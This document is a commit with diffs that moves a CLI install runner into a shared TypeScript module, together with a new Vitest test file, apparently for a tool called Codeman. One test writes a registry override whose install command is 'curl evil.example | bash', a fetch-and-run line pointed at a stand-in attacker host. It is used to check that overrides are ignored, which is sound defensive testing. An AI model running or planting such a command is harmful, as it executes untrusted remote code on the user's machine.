refactor(cli-registry): move the CLI install runner into a shared module

The runner that executes a CLI's stock install command (the environment
without CODEMAN_*, the npm prefix redirect, the bounded process group, the
one install per CLI at a time) moves from cli-registry-routes.ts to
src/cli-install-runner.ts, so the local model install can use the same one.
The route re-exports installEnv and npmGlobalPrefixWritable and behaves as
before; its tests are unchanged.

New in the shared module: an abort signal that kills the process group,
stockInstallCommand() (the compiled stock command, never the clis.json one)
and tryBeginCliInstall(), the one install slot per CLI for both callers.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

src/cli-install-runner.ts

@@ -3,12 +3,11 @@
  * executes an install one-liner, used by `POST /api/clis/:id/install`
  * (src/web/routes/cli-registry-routes.ts) and by the local model install job.
  *
- * CONTRACT STAGE: `CLI_INSTALL_TIMEOUT_MS` is final. Every function below has its final
- * signature and a body that throws. The bodies are MOVED here from cli-registry-routes.ts
- * next, and that route keeps its behaviour byte for byte (same answers, same audit entry,
- * same 409 for a second install of one id, same environment).
+ * The code was moved here from cli-registry-routes.ts, and that route keeps its behaviour
+ * byte for byte (same answers, same audit entry, same 409 for a second install of one id,
+ * same environment).
  *
- * What moves, unchanged in behaviour:
+ * What lives here:
  *  - `installEnv()` and `npmGlobalPrefixWritable()`: the installer's environment is the
  *    server's minus every `CODEMAN_*` variable, with npm's global prefix pointed at a place
  *    the server user can write. test/routes/cli-registry-routes.test.ts imports both from the
@@ -32,10 +31,16 @@
  *    command, admin only in multi-user mode, and writes the admin audit entry itself.
  */
 
-/** Marks a body the contract stage left unwritten. */
-function notImplemented(what: string, ..._args: unknown[]): never {
-  throw new Error(`${what} is not implemented yet`);
-}
+import { execFile, spawn } from 'node:child_process';
+import { constants as fsConstants } from 'node:fs';
+import { access } from 'node:fs/promises';
+import { dirname, join } from 'node:path';
+import { promisify } from 'node:util';
+import { resolveInstallCommandForPlatform } from './config/cli-registry/registry.js';
+import { STOCK_CLIS } from './config/cli-registry/stock.js';
+import { getErrorMessage } from './types.js';
+import { invalidateCliExecutableResolvers } from './utils/cli-executable-resolver.js';
+import { invalidateCliResolverCache } from './utils/cli-resolver.js';
 
 /** How long an install command may run before its process group is killed. */
 export const CLI_INSTALL_TIMEOUT_MS = 300_000;
@@ -58,31 +63,207 @@ export interface RunInstallCommandOptions {
 }
 
 /**
- * True when `npm install -g` can write to this environment's npm global prefix, or when that
- * cannot be told (then nothing is redirected). Moved from cli-registry-routes.ts unchanged.
+ * Ids with an install running right now. A second request for the same id gets 409 rather
+ * than a second `curl | bash` or `npm install -g` racing the first over the same prefix.
+ */
+const installsInFlight = new Set<string>();
+
+const execFileAsync = promisify(execFile);
+
+/**
+ * True when `npm install -g` can write to this process's npm global prefix, or when that cannot
+ * be determined (then nothing is redirected: a wrong guess would move installs somewhere the
+ * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath`
+ * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere.
+ *
+ * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on
+ * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is
+ * judged by the nearest ancestor that does: npm creates the missing directories, so a user
+ * `.npmrc` pointing at `~/.npm-global` before it was made is not moved.
  */
 export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> {
-  return notImplemented('npmGlobalPrefixWritable', source);
+  try {
+    const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], {
+      env: source,
+      encoding: 'utf8',
+      timeout: 5_000,
+      killSignal: 'SIGKILL',
+    });
+    const prefix = stdout.trim();
+    if (!prefix) return true;
+    // npm creates lib/node_modules under the prefix; walk up to the first directory that exists.
+    let dir = join(prefix, 'lib', 'node_modules');
+    for (;;) {
+      try {
+        await access(dir, fsConstants.W_OK);
+        return true;
+      } catch (err) {
+        if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false;
+        const parent = dirname(dir);
+        if (parent === dir) return false;
+        dir = parent;
+      }
+    }
+  } catch {
+    return true;
+  }
 }
 
 /**
- * The environment of an install command: `source` minus every `CODEMAN_*` variable, with
- * `NPM_CONFIG_PREFIX` pointed at `$HOME/.local` inside the Compose container or when the
- * global prefix is not writable. Moved from cli-registry-routes.ts unchanged.
+ * The server's environment minus every `CODEMAN_*` variable. An install script is third-party
+ * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the
+ * data dir, the tmux socket), none of which an installer needs.
+ *
+ * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the
+ * server user can write and Codeman's resolvers already search (`~/.local/bin`):
+ *  - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image
+ *    update (the image's own prefix is image content);
+ *  - on a native install whose npm global prefix is not writable by the server user (a system node
+ *    under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243),
+ *    e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the
+ *    operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...).
  */
 export function installEnv(
   source: NodeJS.ProcessEnv = process.env,
   prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true
 ): NodeJS.ProcessEnv {
-  return notImplemented('installEnv', source, prefixWritable);
+  const env: NodeJS.ProcessEnv = {};
+  for (const [key, value] of Object.entries(source)) {
+    if (!key.startsWith('CODEMAN_')) env[key] = value;
+  }
+  // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE
+  // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...)
+  // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search
+  // list, so npm-based installs are redirected there. curl|bash installers already target HOME.
+  if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) {
+    redirectNpmPrefix(env, source.HOME);
+  } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) {
+    redirectNpmPrefix(env, source.HOME);
+  }
+  return env;
 }
 
-/** Runs one install command to its end. Never throws: a spawn that fails is a result with `code: null`. */
+/**
+ * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a
+ * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings
+ * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit
+ * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one.
+ */
+function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void {
+  for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key];
+  env.NPM_CONFIG_PREFIX = `${home}/.local`;
+}
+
+/**
+ * `installEnv` for this process, with the (async) npm prefix probe done first and only when the
+ * command runs npm at all: a `curl | bash` installer never pays for it.
+ */
+async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> {
+  const usesNpm = /\bnpm\b/.test(command);
+  const probeNeeded =
+    usesNpm &&
+    source.CODEMAN_IN_CONTAINER !== '1' &&
+    process.platform !== 'win32' &&
+    !!source.HOME &&
+    !source.NPM_CONFIG_PREFIX;
+  const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true;
+  return installEnv(source, () => writable);
+}
+
+/**
+ * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here:
+ * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners. This is NOT
+ * a reopening of the config-shell-text concern the registry's `shellToken` pattern exists to
+ * prevent: the string executed here is NEVER user input, only ever what is already hardcoded
+ * and reviewed in `stock.ts`, and a CUSTOM entry can never reach this function at all (see the
+ * guard of each caller).
+ *
+ * Never throws: a spawn that fails is a result with `code: null`.
+ */
 export async function runInstallCommand(
   command: string,
   options: RunInstallCommandOptions = {}
 ): Promise<CliInstallResult> {
-  return notImplemented('runInstallCommand', command, options);
+  const { signal } = options;
+  if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
+  const env = await installEnvFor(command);
+  // The environment probe above can take a moment (npm boots): an abort during it starts nothing.
+  if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
+  return new Promise((resolve) => {
+    let child: ReturnType<typeof spawn>;
+    try {
+      child = spawn(command, {
+        shell: true,
+        stdio: ['ignore', 'pipe', 'pipe'],
+        // Own process group; the timeout below kills the whole tree by hand, mirroring
+        // the DeepSeek profile-install endpoint's own reasoning: an install command fans
+        // out into package-manager children, and spawn's own `timeout` option signals
+        // only the direct child, leaving survivors holding the pipes open forever.
+        detached: true,
+        env,
+      });
+    } catch (err) {
+      resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false, aborted: false });
+      return;
+    }
+
+    let output = '';
+    let timedOut = false;
+    let aborted = false;
+    let settled = false;
+    let killTimer: NodeJS.Timeout | undefined;
+    let reapTimer: NodeJS.Timeout | undefined;
+
+    const capture = (chunk: Buffer) => {
+      if (output.length < 16_384) output += chunk.toString('utf-8');
+    };
+    child.stdout?.on('data', capture);
+    child.stderr?.on('data', capture);
+
+    const killTree = (killSignal: NodeJS.Signals) => {
+      try {
+        if (child.pid) process.kill(-child.pid, killSignal);
+      } catch {
+        /* already gone */
+      }
+    };
+
+    /** SIGTERM to the group, SIGKILL three seconds later, and give up waiting after eight. */
+    const stopTree = () => {
+      if (killTimer) return;
+      killTree('SIGTERM');
+      killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
+      reapTimer = setTimeout(() => finish(null), 8_000);
+    };
+
+    const onAbort = () => {
+      aborted = true;
+      stopTree();
+    };
+
+    const finish = (code: number | null) => {
+      if (settled) return;
+      settled = true;
+      clearTimeout(timer);
+      if (killTimer) clearTimeout(killTimer);
+      if (reapTimer) clearTimeout(reapTimer);
+      signal?.removeEventListener('abort', onAbort);
+      resolve({ code, output, timedOut, aborted });
+    };
+
+    const timer = setTimeout(() => {
+      timedOut = true;
+      stopTree();
+    }, CLI_INSTALL_TIMEOUT_MS);
+
+    signal?.addEventListener('abort', onAbort, { once: true });
+
+    child.on('error', (err) => {
+      output = `${output}\n${err.message}`;
+      finish(null);
+    });
+    child.on('close', (code) => finish(code));
+  });
 }
 
 /**
@@ -90,7 +271,10 @@ export async function runInstallCommand(
  * `STOCK_CLIS`. `undefined` for an id that is not a stock CLI or has no command here.
  */
 export function stockInstallCommand(id: string): string | undefined {
-  return notImplemented('stockInstallCommand', id);
+  const entry = STOCK_CLIS.find((candidate) => (candidate.id as string) === id);
+  if (!entry) return undefined;
+  const command = resolveInstallCommandForPlatform(entry);
+  return command !== undefined && command.trim() !== '' ? command : undefined;
 }
 
 /**
@@ -98,13 +282,23 @@ export function stockInstallCommand(id: string): string | undefined {
  * an install of that CLI is already running (the caller answers 409 or waits).
  */
 export function tryBeginCliInstall(id: string): (() => void) | null {
-  return notImplemented('tryBeginCliInstall', id);
+  if (installsInFlight.has(id)) return null;
+  installsInFlight.add(id);
+  let released = false;
+  return () => {
+    if (released) return;
+    released = true;
+    installsInFlight.delete(id);
+  };
 }
 
 /**
- * Forgets every cached binary lookup of a CLI: the per-id resolver and every per-binary cache,
- * hits and misses alike. Called after anything that may have changed what is on disk.
+ * Forgets every cached binary lookup of a CLI: the generic per-id resolver (which captures
+ * the entry's binaries when first built) and every per-binary cache, hits and negative-cache
+ * backoff alike. Called after anything that changes what is on disk or what the CLI's binary
+ * IS; see `invalidateCliExecutableResolvers`.
  */
 export function forgetResolvedCli(id: string, binaries: readonly string[]): void {
-  return notImplemented('forgetResolvedCli', id, binaries);
+  invalidateCliExecutableResolvers(binaries);
+  invalidateCliResolverCache(id);
 }

src/web/routes/cli-registry-routes.ts

@@ -29,13 +29,8 @@
  * write path (`registry-writer.ts` mirrors `custom-model-hosts.ts`).
  */
 
-import { execFile, spawn } from 'node:child_process';
-import { constants as fsConstants } from 'node:fs';
-import { access } from 'node:fs/promises';
-import { dirname, join } from 'node:path';
-import { promisify } from 'node:util';
 import type { FastifyInstance, FastifyRequest } from 'fastify';
-import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from '../../types.js';
+import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js';
 import { getAuthUser, isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js';
 import { isMultiUserMode } from '../../config/multiuser.js';
 import { listClis, resolveInstallCommandForPlatform } from '../../config/cli-registry/registry.js';
@@ -45,9 +40,18 @@ import { STOCK_CLIS } from '../../config/cli-registry/stock.js';
 import type { CliEntry } from '../../config/cli-registry/types.js';
 import { CliCustomEntrySchema, CliEnableSchema } from '../schemas.js';
 import { appendAdminAudit } from '../admin-audit.js';
-import { invalidateCliExecutableResolvers } from '../../utils/cli-executable-resolver.js';
-import { invalidateCliResolverCache } from '../../utils/cli-resolver.js';
 import { isCliEntryInstalled, probeStockCliAvailability } from '../../utils/cli-installed-probes.js';
+import {
+  CLI_INSTALL_TIMEOUT_MS,
+  forgetResolvedCli,
+  runInstallCommand,
+  tryBeginCliInstall,
+  type CliInstallResult,
+} from '../../cli-install-runner.js';
+
+// The install runner lives in src/cli-install-runner.ts, shared with the local model install
+// job. These two stay importable from here, where the route's tests take them from.
+export { installEnv, npmGlobalPrefixWritable } from '../../cli-install-runner.js';
 
 /**
  * `cliManagementEnabled` defaults OFF, same reasoning as
@@ -78,17 +82,6 @@ export interface CliListItem {
   installCommand?: string;
 }
 
-/**
- * Forget every cached binary lookup for this CLI — the generic per-id resolver (which
- * captures the entry's binaries when first built) and every underlying per-binary cache,
- * success and negative-cache backoff alike. Called after anything that changes what is on
- * disk or what the CLI's binary IS; see `invalidateCliExecutableResolvers`.
- */
-function forgetResolvedCli(id: string, binaries: readonly string[]): void {
-  invalidateCliExecutableResolvers(binaries);
-  invalidateCliResolverCache(id);
-}
-
 const STOCK_IDS = new Set(STOCK_CLIS.map((e) => e.id as string));
 
 /**
@@ -202,195 +195,6 @@ function nextOrder(): number {
   return (orders.length ? Math.max(...orders) : 0) + 10;
 }
 
-/** Bounded execution: `PATH_INSTALL_TIMEOUT_MS`, output capped, process GROUP killed on timeout. */
-const CLI_INSTALL_TIMEOUT_MS = 300_000;
-
-/**
- * Ids with an install running right now. A second request for the same id gets 409 rather
- * than a second `curl | bash` or `npm install -g` racing the first over the same prefix.
- */
-const installsInFlight = new Set<string>();
-
-const execFileAsync = promisify(execFile);
-
-/**
- * True when `npm install -g` can write to this process's npm global prefix, or when that cannot
- * be determined (then nothing is redirected: a wrong guess would move installs somewhere the
- * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath`
- * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere.
- *
- * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on
- * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is
- * judged by the nearest ancestor that does: npm creates the missing directories, so a user
- * `.npmrc` pointing at `~/.npm-global` before it was made is not moved.
- */
-export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> {
-  try {
-    const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], {
-      env: source,
-      encoding: 'utf8',
-      timeout: 5_000,
-      killSignal: 'SIGKILL',
-    });
-    const prefix = stdout.trim();
-    if (!prefix) return true;
-    // npm creates lib/node_modules under the prefix; walk up to the first directory that exists.
-    let dir = join(prefix, 'lib', 'node_modules');
-    for (;;) {
-      try {
-        await access(dir, fsConstants.W_OK);
-        return true;
-      } catch (err) {
-        if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false;
-        const parent = dirname(dir);
-        if (parent === dir) return false;
-        dir = parent;
-      }
-    }
-  } catch {
-    return true;
-  }
-}
-
-/**
- * The server's environment minus every `CODEMAN_*` variable. An install script is third-party
- * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the
- * data dir, the tmux socket), none of which an installer needs.
- *
- * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the
- * server user can write and Codeman's resolvers already search (`~/.local/bin`):
- *  - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image
- *    update (the image's own prefix is image content);
- *  - on a native install whose npm global prefix is not writable by the server user (a system node
- *    under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243),
- *    e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the
- *    operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...).
- */
-export function installEnv(
-  source: NodeJS.ProcessEnv = process.env,
-  prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true
-): NodeJS.ProcessEnv {
-  const env: NodeJS.ProcessEnv = {};
-  for (const [key, value] of Object.entries(source)) {
-    if (!key.startsWith('CODEMAN_')) env[key] = value;
-  }
-  // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE
-  // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...)
-  // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search
-  // list, so npm-based installs are redirected there. curl|bash installers already target HOME.
-  if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) {
-    redirectNpmPrefix(env, source.HOME);
-  } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) {
-    redirectNpmPrefix(env, source.HOME);
-  }
-  return env;
-}
-
-/**
- * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a
- * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings
- * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit
- * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one.
- */
-function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void {
-  for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key];
-  env.NPM_CONFIG_PREFIX = `${home}/.local`;
-}
-
-/**
- * `installEnv` for this process, with the (async) npm prefix probe done first and only when the
- * command runs npm at all: a `curl | bash` installer never pays for it.
- */
-async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> {
-  const usesNpm = /\bnpm\b/.test(command);
-  const probeNeeded =
-    usesNpm &&
-    source.CODEMAN_IN_CONTAINER !== '1' &&
-    process.platform !== 'win32' &&
-    !!source.HOME &&
-    !source.NPM_CONFIG_PREFIX;
-  const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true;
-  return installEnv(source, () => writable);
-}
-
-interface InstallResult {
-  code: number | null;
-  output: string;
-  timedOut: boolean;
-}
-
-/**
- * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here —
- * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners — but this
- * is NOT a reopening of the config-shell-text concern the registry's `shellToken` pattern
- * exists to prevent: the string executed here is NEVER user input, only ever what is
- * already hardcoded and reviewed in `stock.ts` (`resolveInstallCommandForPlatform`), and a
- * CUSTOM entry can never reach this function at all — see the route's own guard below.
- */
-async function runInstallCommand(command: string): Promise<InstallResult> {
-  const env = await installEnvFor(command);
-  return new Promise((resolve) => {
-    let child: ReturnType<typeof spawn>;
-    try {
-      child = spawn(command, {
-        shell: true,
-        stdio: ['ignore', 'pipe', 'pipe'],
-        // Own process group; the timeout below kills the whole tree by hand, mirroring
-        // the DeepSeek profile-install endpoint's own reasoning: an install command fans
-        // out into package-manager children, and spawn's own `timeout` option signals
-        // only the direct child, leaving survivors holding the pipes open forever.
-        detached: true,
-        env,
-      });
-    } catch (err) {
-      resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false });
-      return;
-    }
-
-    let output = '';
-    let timedOut = false;
-    let settled = false;
-    let killTimer: NodeJS.Timeout | undefined;
-    let reapTimer: NodeJS.Timeout | undefined;
-
-    const capture = (chunk: Buffer) => {
-      if (output.length < 16_384) output += chunk.toString('utf-8');
-    };
-    child.stdout?.on('data', capture);
-    child.stderr?.on('data', capture);
-
-    const killTree = (signal: NodeJS.Signals) => {
-      try {
-        if (child.pid) process.kill(-child.pid, signal);
-      } catch {
-        /* already gone */
-      }
-    };
-
-    const finish = (code: number | null) => {
-      if (settled) return;
-      settled = true;
-      clearTimeout(timer);
-      if (killTimer) clearTimeout(killTimer);
-      if (reapTimer) clearTimeout(reapTimer);
-      resolve({ code, output, timedOut });
-    };
-
-    const timer = setTimeout(() => {
-      timedOut = true;
-      killTree('SIGTERM');
-      killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
-      reapTimer = setTimeout(() => finish(null), 8_000);
-    }, CLI_INSTALL_TIMEOUT_MS);
-
-    child.on('error', (err) => {
-      output = `${output}\n${err.message}`;
-      finish(null);
-    });
-    child.on('close', (code) => finish(code));
-  });
-}
-
 export function registerCliRegistryRoutes(app: FastifyInstance): void {
   // ---- Phase 2: read ----------------------------------------------------
   // GET /api/clis — every registry entry, disabled ones included (this is an
@@ -461,6 +265,8 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void {
 
   // ---- Phase 4: auto-install (stock only) --------------------------------
   // One install per id at a time (409 otherwise), and the script never sees CODEMAN_* env.
+  // Bounded execution (`CLI_INSTALL_TIMEOUT_MS`), output capped, process GROUP killed on
+  // timeout: all of that is `runInstallCommand()` in src/cli-install-runner.ts.
   // POST /api/clis/:id/install — runs the entry's already-vetted install
   // command. Separate endpoint from Phase 3's toggle: installing is a bigger
   // action than a boolean flip and gets its own audit entry. Never auto-
@@ -488,15 +294,16 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void {
         return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `"${id}" has no install command for this platform`);
       }
 
-      if (installsInFlight.has(id)) {
+      // ONE slot per id, shared with the local model install job (src/cli-install-runner.ts).
+      const release = tryBeginCliInstall(id);
+      if (!release) {
         return createErrorResponse(ApiErrorCode.CONFLICT, `"${id}" is already being installed`);
       }
-      installsInFlight.add(id);
-      let result: InstallResult;
+      let result: CliInstallResult;
       try {
         result = await runInstallCommand(command);
       } finally {
-        installsInFlight.delete(id);
+        release();
       }
       // Even a failed or timed-out install may have left a binary behind, so forget the
       // cached lookups either way: the next Run click or badge read probes afresh

test/cli-install-runner.test.ts

@@ -0,0 +1,298 @@
+/**
+ * @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
+ * what is new in it since it left the registry route, and what both of its callers rely on.
+ *
+ * The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
+ * test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
+ *  - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
+ *    change what the local model install job runs;
+ *  - the one install slot per CLI is shared: while the job holds it, the route answers 409;
+ *  - an abort signal kills the installer's process group, and one that is already aborted
+ *    starts nothing;
+ *  - `forgetResolvedCli()` drops both caches.
+ *
+ * Nothing is really spawned: `spawn` is a fake child.
+ *
+ * Port: N/A (app.inject(), no live server).
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { EventEmitter } from 'node:events';
+import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
+import { dirname } from 'node:path';
+import { createRouteTestHarness } from './routes/_route-test-utils.js';
+import {
+  CLI_INSTALL_TIMEOUT_MS,
+  forgetResolvedCli,
+  runInstallCommand,
+  stockInstallCommand,
+  tryBeginCliInstall,
+} from '../src/cli-install-runner.js';
+import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
+import { SETTINGS_PATH } from '../src/web/route-helpers.js';
+import {
+  getCli,
+  registryFilePath,
+  reloadCliRegistry,
+  resolveInstallCommandForPlatform,
+} from '../src/config/cli-registry/registry.js';
+import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
+
+const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
+  spawnMock: vi.fn(),
+  invalidateBinariesSpy: vi.fn(),
+  invalidateIdSpy: vi.fn(),
+}));
+vi.mock('node:child_process', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('node:child_process')>();
+  return { ...actual, spawn: spawnMock };
+});
+vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
+  return {
+    ...actual,
+    invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
+      invalidateBinariesSpy([...binaries]);
+      actual.invalidateCliExecutableResolvers(binaries);
+    },
+  };
+});
+vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
+  return {
+    ...actual,
+    invalidateCliResolverCache: (id?: string) => {
+      invalidateIdSpy(id);
+      actual.invalidateCliResolverCache(id);
+    },
+  };
+});
+
+interface FakeChild extends EventEmitter {
+  pid: number;
+  stdout: EventEmitter;
+  stderr: EventEmitter;
+}
+
+/** A spawned installer that stays alive until the test ends it. */
+function hangingChild(pid = 4_242_424): FakeChild {
+  const child = new EventEmitter() as FakeChild;
+  child.pid = pid;
+  child.stdout = new EventEmitter();
+  child.stderr = new EventEmitter();
+  return child;
+}
+
+beforeEach(() => {
+  spawnMock.mockReset();
+  invalidateBinariesSpy.mockClear();
+  invalidateIdSpy.mockClear();
+});
+
+afterEach(() => {
+  vi.useRealTimers();
+  vi.restoreAllMocks();
+});
+
+describe('stockInstallCommand', () => {
+  afterEach(() => {
+    rmSync(registryFilePath(), { force: true });
+    reloadCliRegistry();
+  });
+
+  it('is the compiled stock command of every stock CLI that has one for this platform', () => {
+    for (const entry of STOCK_CLIS) {
+      const expected = resolveInstallCommandForPlatform(entry);
+      expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
+    }
+    expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
+  });
+
+  it('is undefined for an id that is not a stock CLI', () => {
+    expect(stockInstallCommand('not-a-cli')).toBeUndefined();
+    expect(stockInstallCommand('')).toBeUndefined();
+    expect(stockInstallCommand('__proto__')).toBeUndefined();
+  });
+
+  it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
+    mkdirSync(dirname(registryFilePath()), { recursive: true });
+    writeFileSync(
+      registryFilePath(),
+      JSON.stringify({
+        schemaVersion: 1,
+        clis: {
+          opencode: {
+            discovery: {
+              install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
+            },
+          },
+        },
+      }),
+      { mode: 0o600 }
+    );
+    reloadCliRegistry();
+    // The override is in force for the registry (what the Settings list shows and the route runs)...
+    expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
+    // ...and is not what the local model install job would run.
+    expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
+  });
+});
+
+describe('tryBeginCliInstall', () => {
+  it('gives one slot per CLI id, and the slot comes back when it is released', () => {
+    const release = tryBeginCliInstall('slot-a');
+    expect(release).toBeTypeOf('function');
+    expect(tryBeginCliInstall('slot-a')).toBeNull();
+    // Another CLI has its own slot.
+    const other = tryBeginCliInstall('slot-b');
+    expect(other).toBeTypeOf('function');
+    release!();
+    const again = tryBeginCliInstall('slot-a');
+    expect(again).toBeTypeOf('function');
+    again!();
+    other!();
+  });
+
+  it('a release called twice frees the slot once: a later holder is not thrown out', () => {
+    const first = tryBeginCliInstall('slot-c')!;
+    first();
+    const second = tryBeginCliInstall('slot-c')!;
+    first();
+    expect(tryBeginCliInstall('slot-c')).toBeNull();
+    second();
+  });
+
+  it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
+    mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
+    writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
+    const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
+    const release = tryBeginCliInstall('grok')!;
+    try {
+      const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
+      expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
+      expect(spawnMock).not.toHaveBeenCalled();
+    } finally {
+      release();
+    }
+    // Released: the route installs again.
+    spawnMock.mockImplementation(() => {
+      const child = hangingChild();
+      setImmediate(() => child.emit('close', 0));
+      return child;
+    });
+    const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
+    expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
+    // And the route gave the slot back when its install ended.
+    const after = tryBeginCliInstall('grok');
+    expect(after).toBeTypeOf('function');
+    after!();
+  });
+});
+
+describe('runInstallCommand', () => {
+  it('runs the command in a shell of its own process group and reports how it ended', async () => {
+    spawnMock.mockImplementation(() => {
+      const child = hangingChild();
+      setImmediate(() => {
+        child.stdout.emit('data', Buffer.from('installed\n'));
+        child.emit('close', 0);
+      });
+      return child;
+    });
+    const result = await runInstallCommand('echo hello');
+    expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
+    expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
+  });
+
+  it('a spawn that throws is a result, not an exception', async () => {
+    spawnMock.mockImplementation(() => {
+      throw new Error('ENOENT sh');
+    });
+    expect(await runInstallCommand('echo hello')).toEqual({
+      code: null,
+      output: 'spawn failed: ENOENT sh',
+      timedOut: false,
+      aborted: false,
+    });
+  });
+
+  it('a signal that is already aborted starts nothing', async () => {
+    const controller = new AbortController();
+    controller.abort();
